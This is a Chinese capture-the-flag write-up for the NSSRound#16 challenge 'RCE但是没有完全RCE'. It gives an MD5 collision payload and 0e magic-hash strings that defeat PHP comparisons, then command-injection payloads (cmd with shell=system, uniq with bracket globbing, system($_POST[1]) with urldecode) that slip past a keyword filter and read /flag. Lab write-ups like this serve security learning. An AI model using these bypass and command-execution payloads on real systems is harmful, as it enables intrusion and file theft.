[NSSRound#16 Basic]RCE但是没有完全RCE

题目代码:

复制代码
<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
    if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
        if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
            echo $level2;
        } else {
            echo "您!!!!!那么现在阁下又该如何应对呢";
        }
    } else {
        echo "还在用传统方法????";
    }
} else {
    echo "来做做熟悉的MD5~";
}

第一个是md5强类型比较,用数组md5_1[]=1&md5_2[]=2不行,那就用md5碰撞,使用payload:

复制代码
?md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第二个是md5弱类型比较,

只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会先转换字符串的类型,再进行比较,而在比较时因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等,

使用这些payload都可以:

php 复制代码
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

然后就通过了第一关:

第二关,访问3z_RC3.php

GET传参cmd=dir /,POST传参shell=system

因为l被过滤了,用不了ls,所以可以用dir

然后再根目录发现flag

cat用不了可以用more``uniq等等很多,具体可以参考大佬博客:[http://t.csdnimg.cn/LMuXV](http://t.csdnimg.cn/LMuXV)

复制代码
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

然后f``l``a``g``?``*都被过滤了,这时候可以用中括号[]来进行正则匹配.

例如[a-z]就表示匹配字母a到字母z中的任意一个字符

那就把GET传的参数改为?cmd=uniq /[e-h][k-n][^-b][e-h]

最后就得到flag了

复制代码
NSSCTF{acd8b315-208c-4f87-8365-c697f9db397c}

收集其他师傅的payload:

复制代码
/3z_RC3.php?cmd=system($_POST[1]);

shell=urldecode&1=cat /flag

这里妙就妙在让 s h e l l 形同虚设,让 shell形同虚设,让 shell形同虚设,让cmd自成一个包含函数和参数的完整命令执行。再要绕waf很自然就想到用$_POST[1]来转接。
B站风二西讲解视频【【CTF-web】[NSSRound#16 Basic]RCE但是没有完全RCE】 https://www.bilibili.com/video/BV1zi4y1i78T/?share_source=copy_web\&vd_source=12088c39299ad03109d9a21304b34fef

相关推荐
冰糖拌麻子26 分钟前
Metasploitable2靶场全部漏洞超详细讲解(含Metasploitable2靶场下载)
网络·安全·网络安全·系统安全·网络攻击模型
liu****40 分钟前
18.HTTP协议(一)
linux·网络·网络协议·http·udp·1024程序员节
洛_尘1 小时前
JAVA EE初阶 6: 网络编程套接字
网络·1024程序员节
中科固源1 小时前
Wisdom Lens:开启物联网固件模糊测试新时代
物联网·网络安全
alwaysuzybaiyy1 小时前
物联网控制|计算机控制-刘川来胡乃平版|第4章:过程通道与人机接口-4.4Human-Machine Interface|课堂笔记|
笔记·物联网·powerpoint
alwaysuzybaiyy1 小时前
物联网定位技术实验报告|实验一 Wi-Fi指纹定位
网络·人工智能·物联网
弘毅 失败的 mian1 小时前
C++、Java 还是测试开发?
java·c++·经验分享·笔记·测试开发·技术方向·就业
AA陈超2 小时前
ASC学习笔记0019:返回给定游戏属性的当前值,如果未找到该属性则返回零。
c++·笔记·学习·游戏·ue5·虚幻引擎
Fnetlink13 小时前
网络安全与数字化转型的价值投资
安全·web安全
星星20257 小时前
VSCode插件精选:4款高效UML绘图工具
笔记